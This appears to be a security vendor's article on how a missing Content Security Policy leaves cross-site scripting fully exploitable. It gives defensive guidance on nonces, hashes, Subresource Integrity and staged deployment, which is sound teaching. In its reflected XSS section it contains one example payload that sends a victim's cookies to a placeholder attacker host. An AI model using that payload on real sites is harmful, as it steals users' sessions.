Cross-site scripting (XSS) is one of the most well-documented vulnerability classes in web security, and yet it remains consistently present in real applications. A Content Security Policy is one of the most effective available controls for reducing the exploitability of XSS vulnerabilities. A site without one gives the browser no instruction to restrict script execution, which means any injected script runs with the full permissions of the page.
This article explains what the absence of a CSP actually means for exploitability, covers the main XSS attack paths it enables, and describes a practical path to deploying a policy without breaking an existing application.
What XSS Does
XSS is the execution of attacker-controlled JavaScript in the context of a victim's browser session on a trusted site. The key phrase is "in the context of": the script runs as if it were a legitimate part of the page, with access to everything the page can access.
That includes: cookies (unless marked HttpOnly), session tokens stored in localStorage or sessionStorage, form data, DOM content, and the ability to make authenticated requests to the same origin. A script running in this context can exfiltrate credentials, perform actions on behalf of the user, or modify the page content to deceive the user.
XSS is not a single vulnerability. It is a class of vulnerabilities defined by how attacker-controlled input reaches script execution. The injection mechanism varies; the impact once execution occurs does not.
What a Missing CSP Means in Practice
Without a CSP, the browser has no restriction on which scripts it will execute on a page. Any script that appears in the HTML, regardless of how it got there, will execute. This is the browser's default behavior and has been since the early web.
A CSP with a strong script-src directive changes this. It restricts script execution to sources the server explicitly permits: a specific set of origins, scripts matching a declared hash, or scripts carrying a nonce generated by the server. Scripts that do not match are blocked, including scripts injected by an attacker.
The missing CSP does not cause XSS. XSS requires an injection vulnerability somewhere in the application. What the missing CSP does is ensure that any injection vulnerability in the application is fully exploitable, with no browser-level defense in place.
Real Attack Paths
Reflected XSS
Reflected XSS occurs when a URL parameter or form input is included in the page response without being properly encoded. An attacker crafts a URL containing a script payload, sends it to a victim (via email, social engineering, or embedded link), and the victim's browser requests the URL and executes the reflected script.
# Example: URL parameter reflected into page without encoding
https://example.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>A CSP with a restrictive script-src that does not allow inline scripts would block this payload even if the application is vulnerable to the injection.
Stored XSS
Stored XSS occurs when an attacker submits input that is stored and later rendered to other users without encoding. Common locations: comment fields, user profile data, message bodies, product reviews. Every user who loads the affected page executes the payload.
Stored XSS is generally higher severity than reflected XSS because it does not require tricking users into clicking a crafted link. The payload executes for any user who visits the affected page while the data remains stored.
DOM-Based XSS
DOM-based XSS occurs when client-side JavaScript reads from an attacker-controlled source (URL fragment, document.referrer, window.location) and writes it to the DOM in an unsafe way (via innerHTML, document.write, or similar). The payload never touches the server; it is entirely client-side.
DOM-based XSS is harder to detect with server-side input validation and is one of the reasons CSP is valuable as a defense layer: even if the injection source is entirely client-side, a policy that restricts inline script execution will block the payload.
Third-Party Script Compromise
A large percentage of modern web pages load third-party JavaScript from analytics providers, advertising networks, chat widgets, customer support tools, and other services. Each of these scripts runs with full page permissions. If a third-party script provider is compromised and begins serving malicious code, every site that loads that script is affected.
This is not a theoretical concern. Supply-chain attacks on JavaScript served from CDNs and third-party analytics providers have occurred. A CSP that lists specific permitted script origins, combined with Subresource Integrity (SRI) checks for external scripts, provides meaningful protection against this class of attack.
SRI uses a hash attribute on <script> and <link> tags. The browser computes the hash of the fetched resource and blocks execution if it does not match:
<script
src="https://cdn.example.com/analytics.js"
integrity="sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="
crossorigin="anonymous"
></script>CSP as a Mitigation Layer
CSP is a mitigation layer, not a prevention mechanism. A strong CSP reduces the exploitability of XSS by preventing script execution from inline payloads or unauthorized origins. It does not fix the underlying injection vulnerability. Both should be addressed: fix the injection vulnerability in the application code, and add a CSP to reduce the impact of vulnerabilities you have not yet found.
The ideal script-src for a modern single-page application:
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{server-generated-nonce}';
style-src 'self' 'nonce-{server-generated-nonce}';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none'If nonces are not feasible with your current framework, hashes are the next best option for specific inline scripts. If neither is immediately feasible, deploying a policy without unsafe-inline but with necessary origins listed is better than no policy, even if some inline scripts need to be moved to external files first.
An Incremental Path to CSP Deployment
Deploying a strict CSP to an existing application without prior preparation will typically break things: inline event handlers, inline styles, dynamically injected scripts. The recommended incremental approach:
- Step 1: Report-only mode. Deploy a strict policy as
Content-Security-Policy-Report-Onlywith a reporting endpoint. Collect violation reports for at least one week of representative traffic. - Step 2: Audit violations. Review the report data to identify inline scripts and unauthorized origins. For each violation, decide whether to: allow the source (add it to the policy), eliminate the source (move inline code to external files, replace dynamic injection patterns), or accept the violation (the resource is unnecessary).
- Step 3: Refactor. Move inline scripts to external files or convert them to nonce-based inline scripts. Remove
eval()andsetTimeout(string)patterns. Update third-party script integrations to use nonces or hashes. - Step 4: Enforce. Switch from Report-Only to enforcement once violations are at zero or all remaining violations are accounted for and accepted.
- Step 5: Monitor. Keep a reporting endpoint active even after enforcement. New code deployments can introduce new violations. The reporting endpoint makes these visible before users notice broken functionality.
How WebDefect Reports This Finding
WebDefect checks for the presence of a Content-Security-Policy header on all HTML document responses. The absence of any CSP is reported as a medium severity finding, classified under the CSP check category.
The finding is reported as medium rather than critical because: a missing CSP requires an underlying injection vulnerability to be exploitable for XSS, and the absence of CSP is a defense-in-depth gap rather than a direct vulnerability. The severity increases to high or critical when combined with evidence of injection vectors, but the header check itself is evaluated independently.
A Content-Security-Policy-Report-Only header without a corresponding enforcement header is also flagged as a finding, because report-only mode provides no protection. The finding description distinguishes between a completely missing policy and a report-only-only deployment.